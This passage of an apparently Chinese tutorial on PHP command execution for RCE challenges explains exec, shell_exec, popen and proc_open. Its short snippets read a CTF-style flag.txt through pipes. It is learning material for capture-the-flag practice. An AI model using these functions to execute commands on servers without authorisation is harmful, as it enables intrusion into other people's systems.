class=\"\"></p>\n<p>由于我们在cmd中执行echo命令最终执行内容其实为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ZLARYY</span></span>\n<span class=\"line\"><span></span></span></code></pre>\n<p>最后一行为空</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/7.png\" class=\"\"></p>\n<p>可以用var_dump或者print_r打印数组</p>\n<h2 id=\"shell_exec\"><a class=\"anchor\" href=\"#shell_exec\">#</a> shell_exec()</h2>\n<p>该函数可以将命令的完整输出作为字符串返回，但和exec函数一样不会主动返回</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>shell_exec(string $command): string|false|null</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> shell_exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">type flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/8.png\" class=\"\"></p>\n<h2 id=\"popen\"><a class=\"anchor\" href=\"#popen\">#</a> popen()</h2>\n<p>popen就是pipe open，该函数不会返回命令执行结果，而是返回一个文件指针，但是命令已经执行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>popen(string $command, string $mode): resource|false</span></span></code></pre>\n<ul>\n<li><strong>$command</strong>：要执行的系统命令，可包含参数及重定向（如2&gt;&amp;1捕获错误输出）。</li>\n<li><strong>$mode</strong>：&quot;r&quot;表示从进程读取（STDOUT），&quot;w&quot;表示向进程写入（STDIN）。在 Windows 下可用 &quot;rb&quot; / &quot;wb&quot; 避免换行符转换。</li>\n<li>返回值是一个类似fopen()的文件指针，但必须用pclose()关闭。</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> popen</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> stream_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/9.png\" class=\"\"></p>\n<p>可以使用stream_get_contents()函数或者fread()</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> popen</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> fread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">4096</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/10.png\" class=\"\"></p>\n<p>在实际应用popen函数中要记得使用pclose关闭pipe</p>\n<h2 id=\"proc_open\"><a class=\"anchor\" href=\"#proc_open\">#</a> proc_open()</h2>\n<p>proc_open和popen两个函数的区别在于：popen函数只能建立单向的pipe（要么只能读&quot;r&quot;，要么只能写&quot;w&quot;），如果命令执行报错可能拿不到报错信息，而proc_open不仅能和底层操作系统建立进程联系，还能一次性接通三个pipe：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>标准输入 (Stdin - 0号管)：你可以通过这根管子，源源不断地给程序发送指令或数据。</span></span>\n<span class=\"line\"><span>标准输出 (Stdout - 1号管)：你可以通过这根管子，读取程序正常执行返回的结果。</span></span>\n<span class=\"line\"><span>标准错误 (Stderr - 2号管)：如果程序执行报错了（比如命令打错了、文件不存在），报错信息会专门从这根管子流出来！</span></span></code></pre>\n<p>相较于其他函数，proc_open明显要麻烦许多：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//定义管道配置图</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">descriptorspec</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    0</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //标准输入 (stdin)：给命令喂数据</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">w</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //标准输出 (stdout)：接收命令正常的返回结果</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    2</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">w</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //标准错误 (stderr)：接收命令的报错信息</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//让php连接底层操作系统，并按管道配置图中接好的三根实体pipe放进$pipes这个数组</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">process</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> proc_open</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">descriptorspec</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//用stream_get_contents()函数读取流中的内容</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">output</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> stream_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">error</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  stream_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">process</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//输出结果</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">output</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>当然也可以使用fread()：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">output</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">fread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/11.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/12.png\" class=\"\"></p>\n<p>当我把flag.txt替换为/flag(实际不存在)，也能实现报错：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">error</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">stream_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">pipes</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/13.png\" class=\"\"></p>\n<p>利用$pipes[0]，我们还可以实现动态给sort命令写入数据</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">descriptorspec</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    0</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">w</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">    2</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">pipe</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">w</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  </span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">process</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> proc_open</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">descriptorspec</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span 